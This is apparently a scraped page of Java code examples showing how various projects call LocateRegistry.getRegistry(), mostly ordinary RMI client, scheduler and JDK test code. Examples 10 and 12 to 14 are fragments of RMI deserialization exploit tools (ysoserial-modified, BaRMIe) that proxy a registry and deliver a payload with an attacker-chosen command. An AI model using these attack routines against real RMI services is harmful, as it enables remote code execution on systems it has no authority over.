Java Code Examples for java.rmi.registry.LocateRegistry.getRegistry()

The following are Jave code examples for showing how to use getRegistry() of the java.rmi.registry.LocateRegistry class. You can vote up the examples you like. Your votes will be used in our system to get more good examples.
Example 1
Project: Proyecto-DASI   File: AdaptadorRegRMI.java   Source Code and License Vote up 6 votes
public static Registry getRegistroRMInodoRemoto (String identHost){

   // Si no existe se crea el registro en el nodo local y en el puerto por defecto
//       if (registroRMILocalCreado ) return registroRMILocal ;

         try {
//             hostRMI =  getIPLocal();
//             hostRMI = InetAddress.getLocalHost().getHostName();
////             hostRMI = InetAddress.getByName("SERTORIUS").toString();
//             puertoRMIOrganizacionconfigurado = configuracionOrganizacion.getPropiedadesGlobales().getProperty("PuertoRMI");
//             if (puertoRMIOrganizacionconfigurado != null)puertoRMI = Integer.parseInt (puertoRMIOrganizacionconfigurado);
//             registroRMILocal = LocateRegistry.createRegistry(puertoRMI);
//             registroRMILocalCreado = true;
            return LocateRegistry.getRegistry(identHost);

            } catch (Exception e) {

                logger.error("Error al localizar el registro de la organizacion  en el nodo--: "+ hostRMI + " Es posible que no se haya creado: Revisar la descripcion de la organizacion" );
                trazas.aceptaNuevaTraza(new InfoTraza("AdaptadorRegRMI",
						"La direccion IP del registro RMI es NULA  "+ hostRMI + "-- Es posible que no se haya creado: Revisar la descripcion de la organizacion" ,
						InfoTraza.NivelTraza.error));
//
                return null;
            }

    }
 
Example 2
Project: asura   File: RemoteScheduler.java   Source Code and License Vote up 6 votes
protected RemotableQuartzScheduler getRemoteScheduler()
    throws SchedulerException {
    if (rsched != null) {
        return rsched;
    }

    try {
        Registry registry = LocateRegistry.getRegistry(rmiHost, rmiPort);

        rsched = (RemotableQuartzScheduler) registry.lookup(schedId);

    } catch (Exception e) {
        SchedulerException initException = new SchedulerException(
                "Could not get handle to remote scheduler: "
                        + e.getMessage(), e);
        initException
                .setErrorCode(SchedulerException.ERR_COMMUNICATION_FAILURE);
        throw initException;
    }

    return rsched;
}
 
Example 3
Project: Proyecto-DASI   File: ControlRMI.java   Source Code and License Vote up 6 votes
public static ItfUsoAgenteReactivo buscarAgenteRemoto(String ip, int puerto, String nombreAgente) throws java.rmi.RemoteException {
        Registry regCliente = LocateRegistry.getRegistry(ip, puerto);
        ItfUsoAgenteReactivo agenteRemoto = null;
//        ItfUsoRecursoTrazas trazas = Directorio.getRecursoTrazas();
        try {            
            if (regCliente == null) {
                System.err.println("buscarAgenteRemoto regCliente == null");
                if (trazas != null)
                trazas.aceptaNuevaTraza(new InfoTraza("ControlRMI (null)", "No consigo encontrar al agente: "+
                        nombreAgente + " en ip:" + ip + " puerto:" + puerto, NivelTraza.error));
            }
            agenteRemoto = (ItfUsoAgenteReactivo) regCliente.lookup(nombreAgente);
            return agenteRemoto;
        } catch (Exception ex) {
            System.err.println("Fallo buscaAgenteRemoto\n"+ ex.getMessage());
            if (trazas != null)
            trazas.aceptaNuevaTraza(new InfoTraza("ControlRMI (Excepcion)", "No consigo encontrar al agente: "+
                        nombreAgente + " en ip:" + ip + " puerto:" + puerto, NivelTraza.error));
//            Logger.getLogger(ComunicacionAgentes.class.getName()).log(Level.SEVERE, null, ex);
            return null;
        }
    }
 
Example 4
Project: OpenJSharp   File: RegistryContext.java   Source Code and License Vote up 6 votes
/**
 * Returns the registry at a given host, port and socket factory.
 * If "host" is null, uses default host.
 * If "port" is non-positive, uses default port.
 * If "socketFactory" is null, uses the default socket.
 */
private static Registry getRegistry(String host, int port,
            RMIClientSocketFactory socketFactory)
        throws NamingException
{
    // %%% We could cache registry connections here.  The transport layer
    // may already reuse connections.
    try {
        if (socketFactory == null) {
            return LocateRegistry.getRegistry(host, port);
        } else {
            return LocateRegistry.getRegistry(host, port, socketFactory);
        }
    } catch (RemoteException e) {
        throw (NamingException)wrapRemoteException(e).fillInStackTrace();
    }
}
 
Example 5
Project: lams   File: RmiRegistryFactoryBean.java   Source Code and License Vote up 6 votes
/**
 * Locate or create the RMI registry.
 * @param registryPort the registry port to use
 * @return the RMI registry
 * @throws RemoteException if the registry couldn't be located or created
 */
protected Registry getRegistry(int registryPort) throws RemoteException {
	if (this.alwaysCreate) {
		logger.info("Creating new RMI registry");
		this.created = true;
		return LocateRegistry.createRegistry(registryPort);
	}
	if (logger.isInfoEnabled()) {
		logger.info("Looking for RMI registry at port '" + registryPort + "'");
	}
	synchronized (LocateRegistry.class) {
		try {
			// Retrieve existing registry.
			Registry reg = LocateRegistry.getRegistry(registryPort);
			testRegistry(reg);
			return reg;
		}
		catch (RemoteException ex) {
			logger.debug("RMI registry access threw exception", ex);
			logger.info("Could not detect RMI registry - creating new one");
			// Assume no registry found -> create new one.
			this.created = true;
			return LocateRegistry.createRegistry(registryPort);
		}
	}
}
 
Example 6
Project: asura   File: QuartzScheduler.java   Source Code and License Vote up 6 votes
/**
 * <p>
 * Un-bind the scheduler from an RMI registry.
 * </p>
 */
private void unBind() throws RemoteException {
    String host = resources.getRMIRegistryHost();
    // don't un-export if we're not configured to do so...
    if (host == null || host.length() == 0) {
        return;
    }

    Registry registry = LocateRegistry.getRegistry(resources
            .getRMIRegistryHost(), resources.getRMIRegistryPort());

    String bindName = resources.getRMIBindName();
    
    try {
        registry.unbind(bindName);
        UnicastRemoteObject.unexportObject(this, true);
    } catch (java.rmi.NotBoundException nbe) {
    }

    getLog().info("Scheduler un-bound from name '" + bindName + "' in RMI registry");
}
 
Example 7
Project: openjdk-jdk10   File: SelfTerminator.java   Source Code and License Vote up 5 votes
public static void main(String[] args) {
    try {
        int registryPort =
            Integer.parseInt(System.getProperty("rmi.registry.port"));
        Registry registry =
            LocateRegistry.getRegistry("", registryPort);
        Remote stub = registry.lookup(LeaseCheckInterval.BINDING);
        Runtime.getRuntime().halt(0);
    } catch (Exception e) {
        e.printStackTrace();
    }
}
 
Example 8
Project: jdk8u-jdk   File: RegistryFilterTest.java   Source Code and License Vote up 5 votes
@BeforeSuite
static void setupRegistry() {
    try {
        impl = TestLibrary.createRegistryOnEphemeralPort();
        port = TestLibrary.getRegistryPort(impl);
        registry = LocateRegistry.getRegistry("localhost", port);
    } catch (RemoteException ex) {
        Assert.fail("initialization of registry", ex);
    }

    System.out.printf("RMI Registry filter: %s%n", registryFilter);
}
 
Example 9
Project: Proyecto-DASI   File: AdaptadorRegRMI.java   Source Code and License Vote up 5 votes
public static Remote getItfUsoRecursoRemoto(String identHost, String nombreRecurso) throws RemoteException, NotBoundException {
            Registry regCliente = LocateRegistry.getRegistry(identHost);
            InterfazGestion agenteRemoto = null;
            if (regCliente == null) return null;
         else
//            agenteRemoto = (ItfUsoAgenteReactivo) regCliente.lookup(nombreAgente);
//            return agenteRemoto;
//        }
        return regCliente.lookup(NombresPredefinidos.ITF_USO+nombreRecurso);
    }
 
Example 10
Project: ysoserial-modified   File: RMIRegistryExploit.java   Source Code and License Vote up 5 votes
public static void main(final String[] args) throws Exception {
	final String host = args[0];
	final int port = Integer.parseInt(args[1]);
	final String command = args[3];
	final Registry registry = LocateRegistry.getRegistry(host, port);
	final String className = CommonsCollections1.class.getPackage().getName() +  "." + args[2];
	final Class<? extends ObjectPayload> payloadClass = (Class<? extends ObjectPayload>) Class.forName(className);

	// ensure payload doesn't detonate during construction or deserialization
	exploit(registry, payloadClass, command);
}
 
Example 11
Project: Proyecto-DASI   File: AdaptadorRegRMI.java   Source Code and License Vote up 5 votes
public static Remote getItfEntidadRemota(String identHost, String identEntity) throws RemoteException, NotBoundException {
            Registry regCliente = LocateRegistry.getRegistry(identHost);
         //   InterfazGestion itfGesagenteRemoto = null;
            if (regCliente == null) return null;
             return   regCliente.lookup(NombresPredefinidos.ITF_GESTION+identEntity);
  //           if (objInRegistry != null) itfGesagenteRemoto = (InterfazGestion) objInRegistry;
   //         return itfGesagenteRemoto;

//        return (InterfazGestion)regCliente.lookup(NombresPredefinidos.ITF_GESTION+identEntity);
    }
 
Example 12
Project: BaRMIe   File: IllegalRegistryBind.java   Source Code and License Vote up 5 votes
/*******************
 * Check if the given endpoint can be attacked.
 * 
 * This check is performed by executing a dummy attack against the
 * endpoint and observing the resulting exception.
 * 
 * @param ep An enumerated RMI endpoint.
 * @return True if we can attack it.
 ******************/
public boolean canAttackEndpoint(RMIEndpoint ep) {
	RMIBindExploitProxy proxy = null;
	Registry reg;
	
	//Execute a dummy attack
	try {
		//Start a bind exploit proxy
		proxy = new RMIBindExploitProxy(InetAddress.getByName(ep.getEndpoint().getHost()), ep.getEndpoint().getPort(), this._options, this._dummyPayload);
		proxy.startProxy();
		
		//Get a proxied RMI registry reference
		reg = LocateRegistry.getRegistry(proxy.getServerListenAddress().getHostAddress(), proxy.getServerListenPort());
		
		//Bind a dummy object in an attempt to trigger the vulnerability
		reg.bind(this.generateRandomString(), new BaRMIeBindExploit());
	} catch(BaRMIeException | UnknownHostException | RemoteException | AlreadyBoundException ex) {
		//An up to date RMI registry will, by default, reject the dummy object
		if(ex instanceof ServerException && ex.getCause() != null && ex.getCause() instanceof UnmarshalException && ex.getCause().getCause() != null && ex.getCause().getCause() instanceof InvalidClassException) {
			//Check for "filter status: REJECTED"
			if(ex.getCause().getCause().toString().contains("filter status: REJECTED")) {
				//Test payload was filtered, likely this attack isn't possible
				return false;
			}
		}
	} finally {
		//Stop the proxy
		if(proxy != null) {
			proxy.stopProxy(true);
		}
	}
	
	//In all other cases we should be able to attack the registry
	return true;
}
 
Example 13
Project: BaRMIe   File: IllegalRegistryBind.java   Source Code and License Vote up 5 votes
/*******************
 * Execute the deserialization attack against the given RMI endpoint using
 * the given payload.
 * 
 * @param ep The enumerated RMI endpoint.
 * @param payload The deserialization payload to deliver.
 * @param cmd The command to use for payload generation.
 ******************/
public void executeAttack(RMIEndpoint ep, DeserPayload payload, String cmd) throws BaRMIeException {
	RMIBindExploitProxy proxy = null;
	Registry reg;
	
	//Launch the attack
	try {
		//Start a bind exploit proxy
		System.out.println("[~] Starting RMI registry proxy...");
		proxy = new RMIBindExploitProxy(InetAddress.getByName(ep.getEndpoint().getHost()), ep.getEndpoint().getPort(), this._options, payload.getBytes(cmd, 0));
		proxy.startProxy();
		System.out.println("[+] Proxy started");
		
		//Get a proxied RMI registry reference
		System.out.println("[~] Getting proxied RMI Registry reference...");
		reg = LocateRegistry.getRegistry(proxy.getServerListenAddress().getHostAddress(), proxy.getServerListenPort());
		
		//Bind a dummy object in an attempt to trigger the vulnerability
		System.out.println("[~] Calling bind(PAYLOAD, null)...");
		reg.bind(this.generateRandomString(), new BaRMIeBindExploit());
	} catch(Exception ex) {
		//Check the exception for useful info
		this.checkDeserException(ex);
	} finally {
		//Stop the proxy
		if(proxy != null) {
			proxy.stopProxy(true);
		}
	}
}
 
Example 14
Project: BaRMIe   File: RMIDeserAttack.java   Source Code and License Vote up 5 votes
/*******************
 * Chain a full RMI proxy to a serialVersionUID fixing proxy in order to
 * retrieve a fully proxied remote object reference even if the
 * serialVersionUID does not match that of the local class.
 * 
 * @param ep An enumerated RMI endpoint.
 * @param name The name of the object to look up.
 * @param payload The raw bytes of the deserialization payload to use.
 * @param marker The bytes that the method call proxy should replace with the payload bytes.
 * @return The remote object reference.
 ******************/
private final Object getProxiedObjectWithUIDHack(RMIEndpoint ep, String name, byte[] payload, byte[] marker) throws BaRMIeException {
	RMIObjectUIDFixingProxy uidFixer = null;
	RMIObjectProxy objProxy;
	Registry reg;
	Object obj = null;
	
	try {
		//Start a UID fixing proxy
		uidFixer = new RMIObjectUIDFixingProxy(InetAddress.getByName(ep.getEndpoint().getHost()), ep.getEndpoint().getPort(), this._options);
		uidFixer.startProxy();
		this._proxies.add(uidFixer);
		
		//Start an RMI object proxy and chain it to the UID fixing proxy
		objProxy = new RMIObjectProxy(uidFixer.getServerListenAddress(), uidFixer.getServerListenPort(), this._options, payload, marker);
		objProxy.startProxy();
		this._proxies.add(objProxy);
		
		//Retrieve a proxied RMI registry instance
		reg = LocateRegistry.getRegistry(objProxy.getServerListenAddress().getHostAddress(), objProxy.getServerListenPort());
		
		//Lookup the target remote object
		obj = reg.lookup(name);
	} catch(Exception ex) {
		throw new BaRMIeGetObjectException("Failed to retrieve proxied object using serialVersionUID hack.", ex);
	}
	
	//Return the remote object
	return obj;
}
 
Example 15
Project: jdk8u-jdk   File: Client.java   Source Code and License Vote up 5 votes
public String testStub() throws Exception {
try {
    Registry registry = LocateRegistry.getRegistry(port);
    Hello stub = (Hello) registry.lookup("Hello");
    String response = stub.sayHello();
    return response;
    } catch (Exception e) {
        System.err.println("Client exception: " + e.toString());
        throw e;
    }
}
 
Example 16
Project: jdk8u-jdk   File: SelfTerminator.java   Source Code and License Vote up 5 votes
public static void main(String[] args) {
    try {
        int registryPort =
            Integer.parseInt(System.getProperty("rmi.registry.port"));
        Registry registry =
            LocateRegistry.getRegistry("", registryPort);
        Remote stub = registry.lookup(LeaseCheckInterval.BINDING);
        Runtime.getRuntime().halt(0);
    } catch (Exception e) {
        e.printStackTrace();
    }
}
 
Example 17
Project: openNaEF   File: RealDeviceAccessFactory.java   Source Code and License Vote up 5 votes
private RemoteSnmpAccessService getRemoteSnmpAccessService()
        throws IOException, RemoteException {
    try {
        Registry registry = LocateRegistry.getRegistry(remoteSnmpAccessServer, remoteSnmpAccessServerPort);
        return (RemoteSnmpAccessService) registry.lookup(RemoteSnmpAccessService.SERVICE_NAME);
    } catch (NotBoundException e) {
        throw new IOException("remote service not found on " + remoteSnmpAccessServer, e);
    }
}
 
Example 18
Project: openNaEF   File: RmiBinder.java   Source Code and License Vote up 5 votes
private Registry getRegistry() throws RemoteException {
    Registry registry = LocateRegistry.getRegistry(this.registryPort);
    try {
        registry.list();
    } catch (RemoteException e) {
        registry = null;
    }
    if (registry == null) {
        registry = LocateRegistry.createRegistry(this.registryPort);
    }
    return registry;
}
 
Example 19
Project: sether   File: SpongeBrowserDriver.java   Source Code and License Vote up 4 votes
private void initRemoteProcess() {
    if (portGroup.get() == null) {
        launchProcess();
    }

    if (portGroup.get() == null) {
        endProcess();
    }
    HeartbeatRemote heartbeatTmp = null;
    SpongeBrowserDriverRemote instanceTmp = null;
    try {
        synchronized (lock.validated()) {
            Registry registry = LocateRegistry
                    .getRegistry(Constants.RMI_HOST, (int)portGroup.get().getChild(),
                            new SocketFactory(Constants.RMI_HOST, portGroup.get(), locks));
            heartbeatTmp = (HeartbeatRemote) registry.lookup("HeartbeatRemote");
            instanceTmp = (SpongeBrowserDriverRemote) registry.lookup("SpongeBrowserDriverRemote");
        }
    } catch (Throwable t) {
        t.printStackTrace();
    }
    final HeartbeatRemote heartbeat = heartbeatTmp;
    heartbeatThread = new Thread(new Runnable() {
        public void run() {
            while (true) {
                if (processEnded.get()) {
                    return;
                }
                try {
                    heartbeat.heartbeat();
                } catch (RemoteException e) {}
                try {
                    Thread.sleep(5000);
                } catch (InterruptedException e) {}
            }
        }
    });
    heartbeatThread.setName("Heartbeat");
    heartbeatThread.start();
    remote = instanceTmp;
}
 
Example 20
Project: jdk8u-jdk   File: HandshakeTimeout.java   Source Code and License Vote up 4 votes
public static void main(String[] args) throws Exception {

        System.setProperty("sun.rmi.transport.tcp.handshakeTimeout",
                           String.valueOf(TIMEOUT / 2));

        /*
         * Listen on port, but never process connections made to it.
         */
        ServerSocket serverSocket = new ServerSocket(PORT);

        /*
         * Attempt RMI call to port in separate thread.
         */
        Registry registry = LocateRegistry.getRegistry(PORT);
        Connector connector = new Connector(registry);
        Thread t = new Thread(connector);
        t.setDaemon(true);
        t.start();

        /*
         * Wait for call attempt to finished, and analyze result.
         */
        t.join(TIMEOUT);
        synchronized (connector) {
            if (connector.success) {
                throw new RuntimeException(
                    "TEST FAILED: remote call succeeded??");
            }
            if (connector.exception == null) {
                throw new RuntimeException(
                    "TEST FAILED: remote call did not time out");
            } else {
                System.err.println("remote call failed with exception:");
                connector.exception.printStackTrace();
                System.err.println();

                if (connector.exception instanceof MarshalException) {
                    System.err.println(
                        "TEST FAILED: MarshalException thrown, expecting " +
                        "java.rmi.ConnectException or ConnectIOException");
                } else if (connector.exception instanceof ConnectException ||
                           connector.exception instanceof ConnectIOException)
                {
                    System.err.println(
                        "TEST PASSED: java.rmi.ConnectException or " +
                        "ConnectIOException thrown");
                } else {
                    throw new RuntimeException(
                        "TEST FAILED: unexpected Exception thrown",
                        connector.exception);
                }
            }
        }
    }